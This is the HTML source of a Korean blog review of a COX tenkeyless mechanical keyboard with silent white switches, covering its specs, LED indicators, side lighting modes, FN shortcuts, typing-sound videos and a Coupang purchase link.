&lt;p data-ke-size=&quot;size16&quot;&gt;실사용 리뷰를 적습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 스팩&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저소음 백축을 사용하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 키보드의 스팩은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;스위치&lt;/b&gt; : GTMX 리니어 타입 저소음 백축&lt;br /&gt;&lt;b&gt;키압&lt;/b&gt; :&amp;nbsp; 60 +/- 10gf&lt;br /&gt;&lt;b&gt;색상&lt;/b&gt; : 터키쉬 그린&amp;amp;화이트&lt;br /&gt;&lt;b&gt;크기&lt;/b&gt; : 370 x 134 x 34 mm&lt;br /&gt;&lt;b&gt;무게&lt;/b&gt; : 700 +/- 5g&lt;br /&gt;&lt;b&gt;키배열&lt;/b&gt; : Tenkeyless&lt;br /&gt;&lt;b&gt;연결방식&lt;/b&gt; : USB&lt;br /&gt;&lt;b&gt;케이블길이&lt;/b&gt; : 1.8m&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;2252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9B61s/btrUOQwnEay/FIf4by6gbnRHkQzS7wjYXK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9B61s/btrUOQwnEay/FIf4by6gbnRHkQzS7wjYXK/img.jpg&quot; data-alt=&quot;터키쉬 그린. 너무 마음에 든다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9B61s/btrUOQwnEay/FIf4by6gbnRHkQzS7wjYXK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9B61s%2FbtrUOQwnEay%2FFIf4by6gbnRHkQzS7wjYXK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;282&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;2252&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;터키쉬 그린. 너무 마음에 든다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 외관(LED)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개인적으론&amp;nbsp;디자인이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상당히 마음에 들었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Caps&amp;nbsp;Lock&amp;nbsp;,&amp;nbsp;Num&amp;nbsp;Lock,&amp;nbsp;Scroll&amp;nbsp;Lock&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;색상이 제일 맘에 들었지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음으론&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Caps Lock , Num Lock, Scroll Lock 키&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;LED Indicator&lt;/b&gt;&lt;/u&gt;가 있다는 점이었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;2252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kyeE3/btrURVczBTL/VfekCK53vxOlFKV6r1iF60/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kyeE3/btrURVczBTL/VfekCK53vxOlFKV6r1iF60/img.jpg&quot; data-alt=&quot;LED Indicator&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kyeE3/btrURVczBTL/VfekCK53vxOlFKV6r1iF60/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkyeE3%2FbtrURVczBTL%2FVfekCK53vxOlFKV6r1iF60%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;282&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;2252&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;LED Indicator&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일부 키보드의 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 LED가 없어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불편했지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 키보드엔&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LED로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Key Press 상태를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;표시해줘서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;헷갈리지 않을 수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 측면 LED&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게임용 키보드에서는&amp;nbsp;흔한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;키 백라이트는 없지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대신,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;측면 LED가 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;2252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crFwgm/btrUXoEzc6D/xPtBALP5wKnkFmokmPovDk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crFwgm/btrUXoEzc6D/xPtBALP5wKnkFmokmPovDk/img.jpg&quot; data-alt=&quot;눈이 부시지도 않고 은은하다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crFwgm/btrUXoEzc6D/xPtBALP5wKnkFmokmPovDk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrFwgm%2FbtrUXoEzc6D%2FxPtBALP5wKnkFmokmPovDk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;282&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;2252&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;눈이 부시지도 않고 은은하다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모드는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레인보우 형태와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단색 형태&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두가지 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+&amp;nbsp; LED: 레인보우 타입&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/434661624&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/blLC0Z/hyQ5v1hjnI/MlZQn5E3VB6EpwfKmSkjx0/img.jpg?width=3840&amp;amp;height=2160&amp;amp;face=0_0_3840_2160,https://scrap.kakaocdn.net/dn/bkevx7/hyQ35DaMaF/TIMYwlkNDNGpecpkbddy41/img.jpg?width=3840&amp;amp;height=2160&amp;amp;face=0_0_3840_2160&quot; data-video-width=&quot;500&quot; data-video-height=&quot;281&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/434661624?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;281&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;레인보우 타입&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ LED: 단색&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단색 타입은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;색상을 바꿀 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/434661576&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/9j6fc/hyQ5EjEhGe/SwPIKcZhN01h7evdK9BpCK/img.jpg?width=3840&amp;amp;height=2160&amp;amp;face=0_0_3840_2160,https://scrap.kakaocdn.net/dn/OMYIb/hyQ5t3tuLl/6cU01MNmKf3hhi2Xj7EfNK/img.jpg?width=3840&amp;amp;height=2160&amp;amp;face=0_0_3840_2160&quot; data-video-width=&quot;500&quot; data-video-height=&quot;281&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/434661576?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;281&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;단색 타입&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# FN 단축키&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 기계식 키보드와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마찬가지로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FN 키 조합 또한 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;2252&quot; data-origin-height=&quot;4000&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OTtr0/btrUQb78PYh/QqqGYx8vLdnOvYbLLdkJv0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OTtr0/btrUQb78PYh/QqqGYx8vLdnOvYbLLdkJv0/img.jpg&quot; data-alt=&quot;FN 조합 단축키&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OTtr0/btrUQb78PYh/QqqGYx8vLdnOvYbLLdkJv0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOTtr0%2FbtrUQb78PYh%2FQqqGYx8vLdnOvYbLLdkJv0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;888&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;2252&quot; data-origin-height=&quot;4000&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;FN 조합 단축키&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 타건&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반 키보드(멤브레인)과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비슷한 소음이었는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가까이서 찍어서 그런지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제보다 많이 크게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;들리네요 ㅠㅠ...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 단문 타건&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한컴 키보드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단문 타건 영상입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/434661984&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/dfi1av/hyQ5AVQpyi/PYdm89LgPc9WsC8AWkxwcK/img.jpg?width=3840&amp;amp;height=2160&amp;amp;face=0_0_3840_2160,https://scrap.kakaocdn.net/dn/b70eIR/hyQ5v1hNZL/1A4RtbdYD7AfOWu6KYX0MK/img.jpg?width=3840&amp;amp;height=2160&amp;amp;face=0_0_3840_2160&quot; data-video-width=&quot;500&quot; data-video-height=&quot;281&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/434661984?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;281&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;단문 타건&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 장문 타건&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한컴 키보드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;장문 타건 영상입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/434662061&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/X4106/hyQ5u9aqfb/frkLNA9emKKs3l6KndHao0/img.jpg?width=3840&amp;amp;height=2160&amp;amp;face=0_0_3840_2160,https://scrap.kakaocdn.net/dn/wDRXN/hyQ5zJp9N9/jiSOXTVMgGJB43ijnd1XE0/img.jpg?width=3840&amp;amp;height=2160&amp;amp;face=0_0_3840_2160&quot; data-video-width=&quot;500&quot; data-video-height=&quot;281&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/434662061?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;281&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;장문 타건&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 끝&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사무실에서 쓰기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼지 방지용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;키보드 덮개만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어디서 구해오면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;될거 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 아래는 구매 링크&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠팡:&amp;nbsp;&lt;span style=&quot;background-color: #f7f7f7; color: #3c3d3f;&quot;&gt;&lt;a href=&quot;https://link.coupang.com/a/J6WQZ&quot;&gt;https://link.coupang.com/a/J6WQZ&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1672383598863&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;COX 축교환 기계식 게이밍 키보드 저소음백축&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://link.coupang.com/a/J6WQZ&quot; data-og-url=&quot;https://www.coupang.com/vp/products/6084892119&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/hMy2J/hyQ5F4K5Of/W4Ev6sZ7fkpMPi8DpkKDrK/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/cckqf2/hyQ5FKrHcq/bFremtejbAisqUXunzNTM0/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://link.coupang.com/a/J6WQZ&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://link.coupang.com/a/J6WQZ&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/hMy2J/hyQ5F4K5Of/W4Ev6sZ7fkpMPi8DpkKDrK/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/cckqf2/hyQ5FKrHcq/bFremtejbAisqUXunzNTM0/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;COX 축교환 기계식 게이밍 키보드 저소음백축&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
